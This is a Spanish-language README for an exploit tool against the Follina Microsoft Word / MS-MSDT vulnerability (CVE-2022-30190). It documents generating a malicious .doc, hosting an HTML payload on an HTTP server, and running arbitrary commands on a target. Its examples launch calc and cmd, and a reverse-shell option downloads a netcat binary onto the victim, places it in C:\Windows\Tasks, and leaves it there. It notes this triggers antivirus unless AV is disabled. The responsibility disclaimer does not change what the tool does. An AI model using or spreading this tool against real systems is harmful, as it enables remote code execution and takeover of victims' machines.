
Implementación de FOLLINA-CVE-2022-30190
Implementación de FOLLINA-CVE-2022-30190
Este repositorio contiene una herramienta de explotación para la vulnerabilidad FOLLINA-CVE-2022-30190
Esta herramienta fue desarrollada con fines de pruebas de seguridad e investigación. Al clonar / hacer fork de esta herramienta, el desarrollador original se desliga de cualquier responsabilidad sobre las acciones de los actores.
Cree un ataque "Follina" MS-MSDT con un documento malicioso de Microsoft Word y prepare un payload con un servidor HTTP.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
Ejecutar calc.exe:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
Ejecutar cmd.exe:
$ python3 exploit.py --command "cmd"
Obtenga una reverse shell en el puerto 9001. Tenga en cuenta que esto descarga un binario netcat en la víctima y lo coloca en C:\Windows\Tasks.
No elimina el binario. Esto provocará detecciones del antivirus a menos que el AV esté deshabilitado.
$ python3 exploit.py --reverse 9001